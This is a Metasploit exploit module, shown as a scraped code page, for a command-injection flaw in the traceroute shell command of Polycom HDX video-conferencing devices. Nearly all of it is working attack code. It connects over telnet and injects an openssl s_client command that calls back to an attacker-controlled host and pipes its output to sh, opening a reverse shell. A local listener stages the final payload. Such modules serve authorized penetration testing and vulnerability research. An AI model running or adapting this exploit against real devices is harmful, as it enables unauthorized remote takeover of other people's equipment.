Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Polycom Shell HDX Series Traceroute Command Execution',13'Description' => %q{14Within Polycom command shell, a command execution flaw exists in15lan traceroute, one of the dev commands, which allows for an16attacker to execute arbitrary payloads with telnet or openssl.17},18'Author' => [19'Mumbai', #20'staaldraad', # https://twitter.com/_staaldraad/21'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass22'h00die <[email protected]>' # stole the code, creds to them23],24'References' => [25['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/']26],27'DisclosureDate' => '2017-11-12',28'License' => MSF_LICENSE,29'Platform' => 'unix',30'Arch' => ARCH_CMD,31'Stance' => Msf::Exploit::Stance::Aggressive,32'Targets' => [[ 'Automatic', {} ]],33'Payload' => {34'Space' => 8000,35'DisableNops' => true,36'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl'}37},38'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },39'DefaultTarget' => 040))4142register_options(43[44Opt::RHOST(),45Opt::RPORT(23),46OptString.new('PASSWORD', [ false, "Password to access console interface if required."]),47OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),48OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])49])50end5152def check53connect54Rex.sleep(1)55res = sock.get_once56disconnect57if !res && !res.empty?58return Exploit::CheckCode::Unknown59elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/60return Exploit::CheckCode::Detected61end62Exploit::CheckCode::Unknown63end6465def exploit66unless check == Exploit::CheckCode::Detected67fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service")68end6970#71# Obtain banner information72#73sock = connect74Rex.sleep(2)75banner = sock.get_once76vprint_status("Received #{banner.length} bytes from service")77vprint_line("#{banner}")78if banner =~ /password/i79print_status("Authentication enabled on device, authenticating with target...")80if datastore['PASSWORD'].nil?81print_error("#{peer} - Please supply a password to authenticate with")82return83end84# couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case.85sock.put("#{datastore['PASSWORD']}\n")86res = sock.get_once87if res =~ /Polycom/88print_good("#{peer} - Authenticated successfully with target.")89elsif res =~ /failed/90print_error("#{peer} - Invalid credentials for target.")91return92end93elsif banner =~ /Polycom/ # praise jesus94print_good("#{peer} - Device has no authentication, excellent!")95end96do_payload(sock)97end9899def do_payload(sock)100# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise101cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])102103# Start a listener104start_listener(true)105106# Figure out the port we picked107cbport = self.service.getsockname[2]108cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n"109sock.put(cmd)110if datastore['VERBOSE']111Rex.sleep(2)112resp = sock.get_once113vprint_status("Received #{resp.length} bytes in response")114vprint_line(resp)115end116117# Give time for our command to be queued and executed1181.upto(5) do119Rex.sleep(1)120break if session_created?121end122end123124def stage_final_payload(cli)125print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")126cli.put(payload.encoded + "\n")127end128129def start_listener(ssl = false)130comm = datastore['ListenerComm']131if comm == 'local'132comm = ::Rex::Socket::Comm::Local133else134comm = nil135end136137self.service = Rex::Socket::TcpServer.create(138'LocalPort' => datastore['CBPORT'],139'SSL' => ssl,140'SSLCert' => datastore['SSLCert'],141'Comm' => comm,142'Context' =>143{144'Msf' => framework,145'MsfExploit' => self146}147)148149self.service.on_client_connect_proc = proc { |client|150stage_final_payload(client)151}152153# Start the listening service154self.service.start155end156157# Shut down any running services158def cleanup159super160if self.service161print_status("Shutting down payload stager listener...")162begin163self.service.deref if self.service.is_a?(Rex::Service)164if self.service.is_a?(Rex::Socket)165self.service.close166self.service.stop167end168self.service = nil169rescue ::Exception170end171end172end173174# Accessor for our TCP payload stager175attr_accessor :service176end177178179